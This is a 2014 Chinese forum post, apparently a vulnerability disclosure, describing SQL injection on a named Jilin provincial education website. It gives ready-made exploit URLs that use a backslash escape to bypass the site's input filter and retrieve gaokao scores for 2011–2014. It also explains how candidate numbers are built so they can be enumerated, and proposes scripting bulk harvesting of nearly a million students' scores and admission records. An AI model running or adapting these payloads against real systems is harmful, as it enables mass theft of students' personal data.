首页
社区
课程
招聘
吉林教育信息网严重SQL注入可查4年近百万高考成绩录取信息
发表于: 2014-8-14 10:26 861

吉林教育信息网严重SQL注入可查4年近百万高考成绩录取信息

2014-8-14 10:26
861
网址如下:

http://www.jledu.gov.cn/chengji_2014.php?ksh=考生号&xm=姓名

如果直接输入单引号会提示“输入非法注入内容”,看来网站还是加了简单的过滤的

http://www.jledu.gov.cn/chengji_2014.php?ksh='&xm=

但是他们忽略了转义字符“”

---------------------------↑↑(乌云会把单个反斜线转义成两个,以下所有反斜线都是单个的,自己去掉一下吧)

假设查询成绩的SQL语句是这样

SELECT * FROM grade WHERE ksh='考号' AND xm='姓名';

如果在考号里面加转义就变成了这样:

SELECT * FROM grade WHERE ksh='' AND xm='姓名';

这样ksh之后到xm之前一大坨就可以忽略,在“姓名”里面就可以任意构造SQL语句

SELECT * FROM grade WHERE ksh='' AND xm=' or ksh=14220821150199#';

别忘了在最后加注释#

最后实际执行的SQL语句是这样的

SELECT * FROM grade WHERE ksh='xxxxxxxxx' or ksh=14220821150199;

这样只需要考号不需要知道其对应姓名就可以查到成绩了。

构造以下exp:

http://www.jledu.gov.cn/chengji_2014.php?ksh=&xm=or%20ksh=14220821150199%23

成绩已经出来了



14、13、12、11年的都是一样的

http://www.jledu.gov.cn/chengji_2014.php?ksh=&xm=or%20ksh=14220821150199%23

http://www.jledu.gov.cn/chengji_2013.php?ksh=&xm=or%20ksh=13220821150199%23

http://www.jledu.gov.cn/chengji_2012.php?ksh=&xm=or%20ksh=12220821150199%23

http://www.jledu.gov.cn/chengji_2011.php?ksh=&xm=or%20ksh=11220821150199%23

接下来的问题是考号从哪里来?

随便看一个考号,12220822150199

可以这样分割 12|220822|15|0199

12是指2012年,13则对应2013年,其它同理

220822是身份证前六位,网上可以查得到

中间的15代表理科,11代表文科

最后面4位是从0001开始依次递增排下去的,例如某县有1800名考生,考号后四位就是0001到1800,遍历下就可以了

写个程序拿回成绩数据


有了成绩里面已经包含了考生号和姓名,直接提交就可以查到录取信息了

http://www.jledu.gov.cn/luqu_2013.php?kshb=考号&xmb=姓名




[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//